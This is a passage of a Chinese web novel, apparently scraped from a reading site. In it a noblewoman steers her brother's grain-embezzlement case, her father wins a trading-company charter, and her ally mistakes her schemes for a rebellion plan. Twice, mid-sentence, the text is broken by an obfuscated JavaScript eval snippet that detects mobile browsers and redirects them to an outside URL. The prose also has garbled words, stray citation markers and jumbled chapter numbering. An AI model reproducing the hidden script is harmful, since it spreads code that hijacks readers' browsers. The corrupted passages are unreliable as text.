他没有说话,只是静静地看着窗外那棵老槐树,眉头微蹙。他身上的压力,像一层看不见的,厚重的纱,笼罩着整个书房,压得崔元珏喘不过气来。 崔元珏的手心,全是冷汗。 他今年二十,状元及第,入翰林,被钦点为太子伴读。他是崔家的嫡长子,是京城所有同龄人羡慕嫉妒的对象。他本该是天之骄子,是前途无量的东宫新锐 [46]。 可现在,他感觉自己像个废物。 一个连案卷都看不明白的,无能的,可悲的废物 [31]。 太子把这个案子交给他,是对他的信任,是给他一个在东宫真正立足的机会。 而他,却让太子失望了。 他辜负了这份信任。 他想开口,想说点什么,想提出哪怕一个不那么愚蠢的建议。可他的喉咙,像是被一团棉花堵住了,发不出任何声音。 “元珏。” 太子终于开口了,声音一如既往的温润,却透着一丝不易察rayed的疲惫。 “此事,不急。你先回府吧,仔细想想,或许能有新的头绪。” 这是体谅。 但在崔元珏听来,这比任何一句责备,都更让他感到羞辱。 他行尸走肉般地走出东宫,秋日的冷风吹在他脸上,他却感觉不到凉意。 他只觉得,心里那团火,快要把他烧成灰了。 …… 回到崔府时,夜已经深了。 他把自己关在书房里,对着那份誊抄回来的案卷,像一头被困在笼子里的野兽。 门,被轻轻推开了。 他以为是送宵夜的丫鬟,头也没抬,不耐烦地吼了一句:“出去!” 脚步声停顿了一下,却没有离开。 一股熟悉的,混着淡淡花草香和一点点墨水味道的气息,飘了过来。 他猛地抬起头。 是崔云姝。 他的四妹。 她就站在那里,手里提着一盏小小的灯笼,昏黄的光晕,勾勒出她平静得有些过分的脸庞。 “二哥。” 她叫他。 “你怎么来了?”崔元珏的声音沙哑,带着一丝被看穿窘迫后的恼怒。 崔云姝没有回答,她走到桌案前,将一个沉甸甸的锦囊,放在了那份让他头疼欲裂的案卷上。 “这是什么?” “活动经费。”她说 。 崔元珏一愣,打开锦囊。 不是银票,是码得整整齐齐的,一叠金叶子。晃得他眼睛疼。 “你……” “东宫的日子,不好过吧。”崔云姝的目光,落在那份案卷上,“迎来送往,打点关系,上下疏通,处处都要花钱。二哥你性子直,不屑于此,但水至清则无鱼。” 崔元珏的心,像是被什么东西狠狠刺了一下。 他最隐秘的,最不愿承认的困境,就这么被她轻描淡写地,说了出来。 “我不要你的钱。”他把锦囊推了回去,声音生硬。 崔云姝没有去接。 她的手指,轻轻地点了点那份案卷。 “漕运的案子,查不下去?” 崔元珏的脸,瞬间涨红了。 “你……你怎么知道?” “很难猜吗?”崔云姝的语气,平淡得像是在说今天天气不错,“二皇子做事,向来喜欢从根上烂起。扬州盐运使,是他的人。漕运总督,是他舅舅的小舅子。三十万石粮食,从水路运走,动静太大。但如果,是就地消化呢?” 崔元珏的脑子,嗡的一声。 “什么意思?” “查账本,查人证,都是下策。”崔云姝的声音,像一把冰冷的手术刀,精准地,剖开了这个案子最坚硬的外壳,“二哥,你派人去查查,扬州最大的那几家粮商,最近三个月,是不是换了东家。再查查,那位暴毙的押运官,他那不成器的儿子,是不是在京城最好的地段,新买了一座三进的宅子。” “还有,别盯着粮食。去查盐。查扬州盐场最近一批官盐的去向。看看有没有一大批盐,被运往了根本不产粮的,山里的卫所。” 崔元珏彻底呆住了。 他看着自己的妹妹,看着她那双在灯火下,黑得像深渊一样的眼睛。 她说的每一个点,都像一道闪电,劈开他脑中的迷雾。 她是怎么知道的? 这些事,卷宗上一个字都没提!她甚至没出过府门! 这已经不是聪明了。 这是……妖术。 “你……”他张了张嘴,却发现自己连一句完整的话都说不出来。 崔云姝却像是没看见他的震惊,她只是把那个装满金叶子的锦囊,又往前推了推。 “二哥,成大事者,不拘小节。钱,只是工具。用它,去撬动那些比你官大,比你资历老的人的嘴。用它,去让那些替你跑腿办事的人,更尽心。” “你记住,你在东宫,代表的不是你自己,是整个崔家。你站得越稳,我们崔家,就越安全。” 她说完,便转身,提着那盏小灯笼,悄无声息地,消失在了门外的黑暗里。 崔元珏一个人,呆呆地坐在书房里。 许久。 许久。 他缓缓地,伸出颤抖的手,拿起了那个锦囊。 入手,是冰冷的,沉甸甸的。 像他此刻的心情。 …… 议事厅。 空气像是凝固的胶水,粘稠,沉重,让人喘不过气。 关于《公司章程》的最后一场博弈,已经进入了白热化的阶段 。 所有的细枝末节都已谈妥,只剩下最核心的一条,卡在那里,像一根鱼刺,梗在所有人的喉咙里。 经营权。 “岂有此理!”户部尚书张格,那张老脸因为激动而涨得通红,“皇家公司,岂能由一姓之家,独揽大权十年之久?这与把国库直接交给崔家,有何区别?臣,坚决反对!” 二皇子坐在那里,一言不发,但嘴角那抹冰冷的笑意,已经表明了他的态度。 崔温站在大厅中央,感觉自己的后背,已经全被冷汗湿透了。 他能感觉到四面八方投来的,带着审视,贪婪,和敌意的目光。他像一个被推上斗兽场的角斗士,而他的武器,只有女儿昨夜塞给他的,那几句轻飘飘的话。 “崔侍郎,”太子看着他,声音温和,却带着一丝压力,“十年之期,确实……长了些。不如,改为三年一议,如何?” 这是妥协。 也是试探。 崔温的脑子里,瞬间闪过女儿那双平静得可怕的眼睛,和她说的那句话。 “爹,他们要的,是看得见的,安稳的利润。而我们要的,是看不见的,绝对的时间。” 他深深地,深深地吸了一口气。 然后,他抬起头,用一种连他自己都感到陌生的,破釜沉舟般的语气,一字一顿地说道: “殿下,诸位大人。” “十年,一日都不能少!” 满场哗然。 所有人都以为崔家会退让,会妥协。没人想到,他们会在这一点上,如此强硬。 “崔温!你放肆!”张格怒斥道。 崔温没有理他,他的目光,直视着龙椅的方向,虽然那里空无一人,但他知道,这里发生的一切,都会在第一时间,传到那个人的耳朵里。 “崔家,可以不要利润!” 他抛出了第一颗炸弹。 “章程里写的三成,我们可以不要!我们只要……半成!作为崔家上下数千口人的嚼用,足矣!” 议事厅里,瞬间安静了下来。 所有人的脸上,都露出了难以置信的神情。 不要钱? 只要权? 这崔家,图什么? 崔温没有给他们思考的时间,他紧接着,抛出了最后的,也是最致命的王牌。 “不仅如此!我崔家,愿在此立下军令状!” 他的声音,陡然拔高,响彻整个大厅,带着一种孤注一掷的疯狂。 “若十年之内,‘皇家海洋贸易公司’,不能为我大秦,带来累计纯利……白银五千万两!” “我崔家上下,愿将所有家产悉数充公!我崔温,更是愿提头来见!!” 轰—— 整个议事厅,像是被一道惊雷劈中。 五千万两! 那是什么概念?那几乎是大秦国库五年的收入! 所有人都疯了。 他们看着崔温,像在看一个彻头彻尾的疯子。 这是一个何等疯狂的赌局! 用整个家族的性命和百年的基业,去赌一个虚无缥缈的,天文数字般的未来! 然而,疯狂之后,是无法抑制的,从骨头缝里冒出来的贪婪。 五千万两…… 如果…… 如果是真的呢? 那半成的利润,都足以让他们成为富可敌国的存在! 没有人再说话了。 没有人再反对了。 所有人的眼睛,都红了。 他们被这个巨大的,用崔家性命做抵押的饼,砸晕了。 …… 当崔温踉踉跄跄地走出议事厅时,他感觉自己像是从水里捞出来的一样。 成了。 章程,通过了 。 同一时间。 东宫。 崔元珏将一份详细的,关于漕运贪腐案的调查报告,和追回的三十万两赃银的银票,恭恭敬敬地,呈到了太子面前。 太子看着那份报告,看着上面清晰地勾勒出的,二皇子党羽的脉络,和那个堪称神来之笔的,既能追回赃款,又能敲山震虎,还不会引发剧烈党争的解决方案。 他抬起头,看着眼前这个比之前沉稳了许多的年轻人,眼神里,是前所未有的,毫不掩饰的欣赏和倚重。 “元珏,孤……没有看错你。” 崔元珏的心,重重地跳了一下。 他成功了。 他为家族,为自己,赢得了太子最宝贵的信任 。 他走出东宫,秋日的阳光,第一次让他感到了暖意。 他从袖中,摸出一张小小的纸条。 是妹妹刚刚派人送来的。 上面只有一行娟秀的小字。 “二哥,恭喜。但,这只是开始。” 第四十章:盟友献上“鸿图”,卧底竟是我自己 云间阁的顶楼,从来没有这么安静过。 白日里那些香甜的,喧嚣的,属于人间富贵的气息,此刻都沉淀了下来,凝固在冰冷的空气里,像一幅褪了色的油画。 崔云姝坐在窗边。 她没看账本。 她只是看着窗外,看着那轮被削去了一半的,惨白的月亮,挂在远处皇城乌沉沉的剪影上。 像一只死不瞑目的眼睛。 她赢了。 朝堂上,那份她呕心沥血写就的《公司章程》,在崔温用整个家族的性命作为赌注的疯狂加码下,终于尘埃落定 。 东宫里,她的兄长崔元珏,凭借着她提供的线索和金钱,漂亮地解决了漕运贪腐的案子,在太子心中,烙下了“不可或缺”的印记 。 商场上,云间阁的生意如日中天,二皇子的釜底抽薪之计,变成了一个自取其辱的笑话。 一切,都像她计划的那样,甚至比她计划的,还要好 。 她应该高兴的。 可她感觉不到。 她只觉得,累。 一种从骨头缝里,一点点渗透出来的,带着寒气的疲惫。 她像一个走了很久很久夜路的人,终于看到了远方的灯火,可她也知道,那灯火之下,不是温暖的家,是另一片更加深邃,更加莫测的黑暗。 她端起桌上的茶杯,茶水早已凉透了。 她不喜欢喝热茶。 滚轻脚的,也不是寻常客人那种带着几分悠闲的。 那脚步声,沉稳,有力,每一步都像是踩在鼓点上,带着一种压抑不住的,几乎要破胸而出的激昂和兴奋。 崔云姝没有回头。 她知道是谁。 除了他,没人敢在这个时候,不经通传,就直接闯上她这间从不对外开放的顶楼雅间。 门,被轻轻推开了。 唐璞走了进来。 他换下了一身戎装,穿着一件玄色的常服,却依然掩不住那股子从沙场上带回来的,凛冽的血性和锋芒。 他的脸上,没有了之前的愤怒,也没有了平日里的跳脱。 取而代之的,是一种近乎于朝圣般的,庄重肃穆的神情。他的眼睛,在昏暗的灯火下,亮得吓人,像两团被点燃的,幽蓝色的鬼火。 “我来了。” 他开口,声音低沉,带着一丝他自己都没察觉到的,因为过度激动而产生的颤抖 。 崔云姝缓缓转过头,看着他。 “坐。” 她的声音,像窗外那片凉薄的月光,没有一丝温度。 唐璞没有坐。 他走到崔云姝面前,将手里一直抱着的一个长长的,用玄色锦布包裹的,沉甸甸的东西,小心翼翼地,放在了那张足够三四个人围坐的巨大圆桌上。 那姿态,不像是在放一件东西。 像是在供奉一件神器。 “郡主,”他深吸一口气,用一种前所未有的郑重语气说道,“我认为,时机……已到。今日,我特来请您,召开一次关乎我们‘大业’未来的,最高级别的战略会议。” 崔云姝的眼角,狠狠地跳了一下。 她看着唐璞那张写满了“我要干一番大事业”的狂热脸庞,忽然有了一种非常不好的预感。 懒得猜了。 她看着他,没有说话,只是微微颔首,示意他继续。 唐璞得到了“默许”,精神瞬间为之一振。 他伸出手,用一种近乎于颤抖的姿态,缓缓地,解开了那层玄色的锦布。 里面,是一卷巨大的,用上好的羊皮纸鞣制而成的图卷。 他将图卷在桌上,一点,一点地展开。 一张巨大无比的,涵盖了大秦王朝所有疆域的,详尽到令人发指的全国地图,铺满了整个桌面 。 崔云姝的瞳孔,骤然收缩。 那不是一张普通的地图。 那上面,用红色和黑色的墨笔,密密麻麻地,标注着无数的记号,箭头,和蝇头小字。 山川,河流,关隘,卫所…… 一切都清晰可见。 而更让她感到头皮发麻的是,她看到,那些属于“云间阁”的,遍布全国的分店位置,全都被用一个鲜红的,小小的火焰标记,圈了起来 。 唐璞的手指,点在地图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486299|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,像一根烧红的烙铁。 他的声音,因为激动而变得有些高亢,像是在吟诵一首壮丽的史诗。 “郡主!谋主!” 他已经不再叫她崔云姝了。 “您看!”他的手指,重重地,点在了京城的位置,“自您提出‘股份公司’之策,成功将皇帝的打压,化为我们的助力,将整个朝堂都绑上我们的战车之后,我便日夜思索,您下一步的深意!” “您在商业上,重创二皇子,断其财路!” “您在朝堂上,助兄长立功,在太子心中,安插下我们最可靠的棋子!” “这一切,都如您所料,一步步地,在瓦解旧有的秩序,在为我们的‘大业’,扫清障碍!” 崔云姝听着,面无表情。 心里,却已经开始疯狂地刷屏。 大哥……我只是想赚点钱,保个命,顺便让我哥在东宫混得好点,别跟着一起被砍头而已啊! 什么大业? 什么扫清障碍? 你的脑子里到底装了些什么东西? 唐璞完全没有察觉到她的内心活动,他已经彻底沉浸在了自己的脑补和宏伟蓝图之中。 他的手指,从京城,一路划向东海。 “您看这里!”他指着那片蔚蓝色的海域,声音里充满了狂热,“‘皇家海洋贸易公司’!这是您最高明的一步棋!表面上,我们交出了船队,但实际上,我们用十年的经营权和五千万两的军令状,换来了这支舰队绝对的,不受干涉的控制权!” “这哪里是什么商船队?这分明就是我们的……私家海军!” 崔云姝感觉自己的后脑勺,开始一阵阵地发凉。 私家海军? 我他妈只是想组个船队跑路啊!怎么就成私家海军了? “还有这里!”唐璞的手指,又落在了那些被标注了火焰标记的“云间阁”分店上,“您将店铺开遍大秦的每一个州,每一个府,甚至每一个重要的关隘!之前我只以为,您是为了赚钱。直到北境送暖衣那次,我才恍然大悟!” 他抬起头,用一种看神明般的眼神,看着崔云姝。 “这哪里是店铺?这分明就是我们遍布全国的情报站!是我们的兵站!是我们的军械库!!” “噗——” 崔云姝差点一口凉茶喷出来。 她拼命忍住,端起茶杯,假装喝水,掩饰自己脸上已经快要绷不住的,扭曲的表情。 兵站? 军械库? 我那是仓库啊大哥!里面装的是面粉和奶油啊!你是想让未来的士兵们,一手拿蛋糕,一手拿泡芙,去冲锋陷阵吗?! “所以!”唐璞的声音,已经达到了最高潮,他整个人都趴在了地图上,像一头即将扑向猎物的雄狮,“郡主!谋主!所有的铺垫,都已经完成!现在,我恳请您,下达‘大业’的……第一阶段行动纲领!” 他从怀里,又掏出了一本厚厚的册子,郑重地,放在了地图上。 上面写着五个龙飞凤凤舞的大字。 《靖难兴国疏》。 崔云姝看着那五个字,感觉自己的眼睛,被狠狠地刺了一下。 她不用翻开,她用脚趾头都能想到,里面写的是什么。 如何利用“皇家船运公司”的船只,运送兵员。 如何利用“云间阁”的店铺,传递情报,囤积粮草。 如何用云间阁赚来的钱,在某个山高皇帝远的地方,招兵买马,打造兵器…… 这是一个细节详实,步骤清晰,逻辑完整,甚至连起事后,各个官员的封赏都拟定好了的…… 一份完整的,彻头彻尾的,丧心病狂的…… 谋反计划书。 完了。 这下彻底完了。 崔云姝感觉自己浑身的血液,都快要冻结了。她脑子里那根名为“理智”的弦,终于,在一阵刺耳的嗡鸣之后,啪的一声,断了。 她看着唐璞那双闪烁着“快夸我”、“快下令”的,星星眼。 她内心那个穿着华服、端庄优雅的贵女小人,终于崩溃了。她一把扯下头上的珠钗,披头散发地,跪在地上,疯狂地捶着地板。 “救命啊!我只是想跑路啊!我只想当个平平无奇的包租婆,每天收收租,喝喝茶,看看话本啊!” “谁要跟你搞什么大业啊!盟友是个反贼,还他妈认定我是他顶头上司!这日子没法过了!毁灭吧!赶紧的!” 然而。 表面上。 崔云姝只是缓缓地,缓缓地放下了茶杯。 她站起身,走到桌边,伸出纤细的手指,轻轻地,拂过那本《靖难兴国疏》的封面。 她的脸上,是唐璞所熟悉的,那种高深莫测的,仿佛洞悉了一切的,平静的表情。 在唐璞那无比期待的,灼热的目光注视下,她终于,艰难地,开口了。 “元直。” 她第一次,叫了他的字。 唐璞的身体,猛地一震,脸颊瞬间涨红,整个人激动得像只煮熟的虾。 “你……思虑周全,堪当大任。” 崔云姝昧着良心,挤出了一句夸奖 。 “但是……” 她话锋一转。 唐璞立刻屏住了呼吸,像一个等待老师批改作业的小学生,紧张地,聆听着“首席谋主”的最高指示。 “你只看到了其一,未看到其二。”崔云姝的声音,空灵而缥缈,像从九天之上传来,“万丈高楼平地起。我们的根基,尚不稳固。” “根基?”唐璞不解。 “对。”崔云姝的手指,在地图上,轻轻地画了一个圈,“公司初立,人心未定;朝堂之上,盘根错节;北境虽有军心,却未成体系。此刻起事,乃是空中楼阁,一推即倒。” “那……我们该当如何?” “徐徐图之。”崔云姝吐出四个字,每一个字,都像一块冰,砸在唐璞那颗火热的心上,“攘外,必先安内。你现在的任务,不是盯着这张地图,而是,去为我们的‘大业’,打好真正的地基。” “请谋主示下!”唐璞单膝跪地,神情肃穆。 崔云姝看着他,内心已经麻木了。 她随手一指地图上的某个山区,有气无力地说道:“去,勘探地形,绘制更详细的舆图。去,联络军中旧部,不必许以高官厚禄,只需结下善缘。去,用我们赚来的钱,修桥,铺路,赈济流民,收拢民心……” 她已经懒得再说下去了。 她只想赶紧把这尊大神送走。 然而。 唐璞听完,非但没有半分失望,眼中反而爆发出更加璀璨的光芒 。 他猛地抬起头,看着崔云姝,声音里充满了恍然大悟的,无比的钦佩。 “我明白了!我明白了!” “谋主深意,我险些错过了!您是说,真正的‘大业’,不在于一朝一夕的攻城略地,而在于这润物细无声的水磨工夫!在于民心!在于根基!” “是我太急躁了!我只想着开花结果,却忘了播种耕耘!多谢谋主指点!” 他说完,重重地,在地上磕了一个头。 然后,他站起身,小心翼翼地收起那份《靖难兴国疏》,仿佛那是什么绝世的武功秘籍,看都不再看那张地图一眼。 “谋主放心!元直,这就去‘打地基’!不筑起铜墙铁壁,绝不辜负您的期望!”[5-1] 话音未落,他已经像来时一样,一阵风似的,转身冲了出去。 雅间里,又恢复了那种死一样的寂静。 崔云姝缓缓地,缓缓地,瘫坐回椅子里。 她看着桌上那张画满了“谋反”记号的地图,看着窗外那轮惨白的月亮,忽然觉得,自己的人生,就像一个荒诞的,永远也演不完的笑话。 她伸出手,想去端那杯凉透了的茶。 可她的手,却抖得,连一只小小的茶杯,都拿不起来了。 完了。 她绝望地想。 我好像……真的回不了头了 。 38.第 38 章 雅间里,那张巨大的地图还摊在桌上 。 它像一具被剖开了胸膛的,巨大的尸体。 山川是它的筋骨,河流是它青色的血管,而那些被唐璞用朱砂笔圈出来的,密密麻麻的城池与卫所,就是它身上一个个正在溃烂流脓的伤口。 崔云姝就坐在这具尸体旁边,一动不动。 她感觉自己快要死了。 不是那种被一刀捅死的,痛快的死。 是一种更缓慢的,更折磨人的,被活活憋死的窒息感。 唐璞已经走了。 但他身上那股子混杂着汗水、铁锈和狂热理想主义的,灼热的气息,还烙印在空气里,烫得她皮肤生疼。 《靖难兴国疏》。 私家海军。 遍布全国的情报站和军械库。 这些词,像一群喝醉了酒的疯子,在她脑子里横冲直撞,把她好不容易建立起来的那点名为“冷静”的秩序,砸得稀巴烂。 她只是想跑路。 她只是想在末日来临之前,带着家人,带着钱,找个谁也不认识的地方,买个岛,当个咸鱼岛主,每天晒晒太阳,数数金币,看看话本,就这么混吃等死过一辈子。 这很难吗? 为什么? 为什么她会从一个只想躺平的预备役首富,变成了一个满脑子“谋反大业”的神经病盟友眼里的,“首席谋主”? 她做错了什么? 是她不该开“云间阁”?还是不该搞那个什么“股份公司”?还是不该…… 懒得想了。 想不通。 崔云姝把脸深深地埋进手掌里,指尖冰凉。 她现在面临一个极其严峻的问题。 唐璞这个行动力爆表的“革命先锋”,已经被她自己亲手点燃了。他现在就是一尊烧得通红的,随时可能爆炸的火炮。如果她不赶紧给他找一个安全的目标,让他把炮弹射出去,那他下一个炸的,就是她自己,连带着整个崔家 。 必须给他找点事做。 一件足够复杂,足够耗时,足够让他觉得“这是在为大业添砖加瓦”的,正经事。 派他去东海深处画海图?不行,那家伙没准真能给她画出一张能直接攻打京城水路布防图来。 派他去西域贩马?不行,他能给你贩回来一支能直接装备一个军的战马。 崔云姝感觉自己的脑子,像一台被过度使用的,老旧的算盘,每一个珠子都卡在槽里,拨不动了。 就在这时。 一阵急促的,带着几分惶急的敲门声响起。 不是唐璞那种恨不得把门拆了的动静,是更收敛,更专业的。 “小姐。” 是云间阁京城总店的掌柜,也是她一手提拔起来的,情报网络的小头目。 “进来。” 掌柜推门而入,脸色凝重,将一份用火漆封口的信简,恭恭敬敬地呈了上来。 “北境,八百里加急。” 崔云姝的心,咯噔一下。 她拆开信简,飞快地扫视着上面用暗语写就的密文。 越看,她的眼睛,就越亮。 不是唐璞那种狂热的,燃烧的亮。 是一种在黑暗中跋涉了三天三夜的旅人,终于看到了一线生机的,劫后余生的亮。 天降良机 。 机会,就这么自己送上门来了。 “去,把安郡王,给本……给我请回来。”她吩咐道,差点把那个已经快要被唐璞带歪的自称说出口。 …… 唐璞回来得很快。 他大概以为是“谋主”又有了什么新的战略指示,整个人都处在一种随时准备领命出征的亢奋状态。 一进门,他的目光就落在了那张地图上,仿佛在看自己的情人。 “郡主,可是京中又有变故?” “京中无事。”崔云姝指了指他对面的椅子,示意他坐下,“是北境。” 她将那份刚刚破译的情报,推了过去。 唐璞接过,只看了一眼,脸色就瞬间变得无比凝重。 “暴雪封山?补给线断了?!”他猛地站起身,在雅间里焦躁地踱步,“胡闹!简直是胡闹!北境的冬天什么样,兵部那些酒囊饭袋不知道吗?为什么不提前储备冬衣和药材?每年拨下去的军费,都喂了狗吗?” “现在说这些,已经晚了。”崔云姝平静地打断了他的咆哮,“军报应该已经到了御前,朝廷现在,肯定已经乱成了一锅粥。从京城调拨物资,再走官道运过去,最快也要一个月。一个月……北境前线数万将士,恐怕不等蛮族打过来,就要先被冻死、病死一半了。” 唐璞的拳头,捏得咯咯作响,手背上青筋暴起。 他当然知道这意味着什么。那是他曾经浴血奋战过的地方,那里有他无数的袍泽兄弟。 “我去找太子!我们必须……” “来不及了。”崔云姝再次打断他,“官僚的效率,你比我清楚。等他们扯完皮,黄花菜都凉了。” 她看着唐璞那张因为愤怒和焦虑而显得有些扭曲的脸,知道,时机到了。 *来吧,我的好盟友,是时候让你发光发热了。* 崔云姝的脸上,露出了那种唐璞最熟悉的,高深莫测的,仿佛一切尽在掌握的表情。 “元直。” 她叫了他的字。 唐璞立刻停下脚步,像一头被驯服的猛虎,目光灼灼地看着她,等待着她的“神谕”。 “你之前说,要进行实战演练。”崔云姝的声音,不疾不徐,像是在下一盘早已看透了结局的棋,“现在,机会来了。” “什么?”唐璞一愣。 “我认为,”崔云姝站起身,走到那张巨大的地图前,手指,轻轻地,点在了北境那片广袤的土地上,“这是检验我们‘情报与后勤网络’实战能力的最佳时机。一场……伟大的军事演习。” 唐璞的呼吸,猛地一滞。 他的脑子里,瞬间将“北境危机”和“军事演习”这两个词,联系在了一起。 然后,他的眼睛,爆发出前所未有的,璀璨夺目的光芒。 他明白了! 他彻底明白了! 谋主!不愧是谋主啊! 她竟然能从一场国家灾难中,看到我们“大业”的机会! 这不是救灾! 这是在用朝廷的危机,练我们自己的兵!是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497416|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用皇帝的钱,收买北境的军心! 高! 实在是太高了! “请谋主示下!”唐璞单膝跪地,声音因为激动而剧烈颤抖。 看着他这副自我攻略到极致的样子,崔云姝内心那点小小的负罪感,瞬间烟消云散。 *对,没错,我就是在练兵。你就这么想,就对了。* “我的计划很简单。”崔云姝的声音,带着一种不容置疑的决断力,“放弃缓慢的官方漕运和驿道。由我,动用‘云间阁’在北方各州府的所有分店和仓库,就地采购棉衣、药材、烈酒和高热量的食物。” “而你,”她的目光转向唐璞,“动用安郡王府和你所有的军中人脉,以‘输送紧急军需’的名义,从那些被大雪封锁的官道之外,打通一条只属于我们的,快速补给线。” “我负责钱和物,你负责路和人。” “我要让那些朝堂上的大人们还在为第一批物资该从哪个仓库调拨而争吵不休的时候,我们的东西,已经送到了北境每一个士兵的手上。” “这,就是我们未来大军的后勤保障演习。你,敢不敢接?” “敢!” 唐璞猛地抬起头,虎目之中,燃着熊熊的火焰,“有何不敢!我这就去办!” 他觉得自己的血都快要烧起来了。 这比在地图上纸上谈兵,要刺激一百倍!一千倍! 理论结合实践! 这才是成就“大业”的正确方式! “郡主放心!不!谋主放心!”他激动得语无伦次,“我立刻点齐王府亲兵,再传信给北境的几位叔伯,让他们全力配合!保证在十日之内,让您的物资,出现在长城之上!”[34] 他说完,甚至等不及崔云姝再多说一个字,便像一颗出膛的炮弹,转身冲了出去。 那背影,充满了“为革命事业奔走”的,昂扬的斗志 。 雅间里,终于又恢复了寂静。 崔云姝长长地,长长地,舒了一口气。 她感觉自己像是刚刚跑完了一场马拉松,浑身上下,每一个毛孔都透着虚脱。 总算…… 把这尊瘟神送走了。 她缓缓地坐回椅子里,端起那杯已经不知道换了多少遍的,冰冷的茶水,一饮而尽。 冰冷的液体,让她那因为过度表演而有些发热的脑子,重新冷静了下来。 演习? 大业? 去他妈的。 她走到书案前,铺开一张新的账本,提起笔。 笔尖在纸上划过,发出的,是这个世界上最美妙的声音。 她漆黑的眸子里,没有了刚才的高深莫测,只剩下最纯粹的,最冰冷的,属于商人的精明与算计。 朝廷采购款,至少能溢价三成。 打通了军方运输线,以后“云间阁”的货,就能免去多少关卡的盘剥? 在整个北境军中,卖下一个人情,这份无形资产,又价值几何? 一场利润丰厚的,“国难财”,即将开始 。 至于唐璞和他的“大业”…… 随他去吧。 只要他不来烦自己,他想把这事理解成什么,都行。 39.第 39 章 那张画满了山川与杀气的地图,还摊在桌上 。 崔云姝觉得,自己就坐在一具被剖开了的,巨大而冰冷的尸体旁边。 唐璞走了。 雅间里,终于又恢复了那种能淹死人的寂静。 但这一次,崔云姝没有感觉到疲惫。 也没有感觉到恐惧。 她只是觉得,冷。 一种从指尖,顺着血脉,一路蔓延到心脏的,绝对的,不带任何感情的,冰冷的清醒。 她走到书案前,铺开一张新的纸。 不是账本。 是命令。 她提起笔,蘸饱了墨,笔尖在纸上悬停了一瞬,然后,落下。 没有丝毫犹豫。 字迹,不再是闺阁女子那种娟秀的小楷,而是一种瘦硬的,带着锋锐笔锋的,斩钉截铁的行书。 “太原分舵,甲字柒号令。” “平阳分舵,甲字柒号令。” “上党,西河,雁门……” 一封封指令,从她笔下流出,像一片片黑色的,锋利的雪花。它们没有温度,只有目标。它们不问缘由,只求结果 。 “启动‘冬雷’预案。三日之内,不计代价,清空辖区内所有棉布、皮毛、烈酒、药材及耐储之高热量食物库存。以‘云间阁’最高信誉为凭,可先取后付,可溢价三成。所有物资,打包,标记,向北,集结。” 写完最后一封,她没有停。 她又取过一张纸。 这一次,是写给母亲宋氏的。 “娘亲安。北境事急,需调动崔氏本家所有北方货运渠道。无需申报官府,无需等待关牒。凡遇阻碍,皆以安郡王府军令为凭。凡有损耗,皆由女儿一人承担。” 懒得再写了。 该说的,都说完了。 她将那一叠雪片般的指令,和那封家书,一并装入一个黑色的信匣,递给了门外那个如同影子般等待着的掌柜。 “用‘信天翁’渠道,最快速度,发出去。” “是。” 掌柜接过信匣,那东西很轻,他却觉得重若千斤。他没有多问一个字,转身,消失在黑暗里。 一场史无前例的,绕开了整个大秦帝国官僚体系的,庞大的商业行动,就以这样一种近乎于无声的方式,启动了。 像一台早已上好了油,调试了无数遍的,精密的战争机器,在接到命令的那一刻,瞬间开始轰然运转 。 …… 太原府。 “云间阁”的掌柜王德发,是在睡梦中被叫醒的。 他看着信使递上来的,那封用火漆封口的,带着“甲字柒号”标记的指令,只看了一眼,所有的睡意,瞬间烟消云散 。 他甚至来不及换下身上的绸布睡袍,直接冲进了账房,从最深的那个保险柜里,取出了一面沉甸甸的,纯金打造的,刻着“云”字的令牌。 一炷香后。 太原府最大的布商,晋隆昌的东家,被人从温暖的被窝里拖了起来。他看着眼前这个只穿着睡袍,眼睛里却燃着火的王掌柜,和他手上那面金光闪闪的令牌,吓得腿都软了。 “王……王掌柜,您这是……” “晋隆昌所有棉布,皮料,我全要了。”王德发的声音沙哑,却不容置疑,“价钱,你开。明日一早,我要在城北的货场,看到东西。” 平阳府。 城中最大的药材行“百草堂”里,灯火通明。 白发苍苍的老药商,看着“云间阁”的刘掌柜送来的一张条子,手都在抖。 那不是银票。 那是一张用崔家家主的私人印信盖了章的,空白的信誉凭证。凭此条,可在全国任何一家崔氏钱庄,兑付不超过五十万两的银钱。 “刘掌柜……您……您这是要把小老儿的店,给搬空啊?” 刘掌柜笑了笑,将条子往前推了推。 “孙老,您不是一直想给您那在京城当官的儿子,谋个好前程吗?”他的声音很轻,“崔家,在东宫,还说得上几句话。” 老药商的瞳孔,猛地一缩。 他不再犹豫,对着身后的伙计,嘶吼道:“还愣着干什么!把库房里所有的人参、黄芪、当归、伤寒药……全都给老子搬出来!!” 上党。西河。雁门。代郡…… 无数个这样的场景,在同一个夜晚,在整个大秦的北方,同时上演。 无数的马车,吱呀作响地驶出货栈。 无数的伙计,红着眼睛打包货物。 无数的金钱和信誉,像水一样,无声地,却又汹涌地,流向每一个能提供物资的角落。 整个北方的商业网络,被一只看不见的手,在短短一夜之间,彻底拧成了一股绳。 它没有发出任何喧嚣,却爆发出比任何军队都更恐怖的,现象级的效率 。 …… 北境。长城脚下。 雪,还在下。 像无穷无尽的,冰冷的鹅毛,要把这个世界彻底掩埋。 士兵张铁牛感觉自己快要冻僵了。 他身上的那件单薄的棉衣,早就被风雪打透了,湿漉漉地贴在身上,像一层冰冷的铁皮。他蜷缩在烽火台的角落里,牙齿不受控制地打着颤,发出“咯咯”的响声。 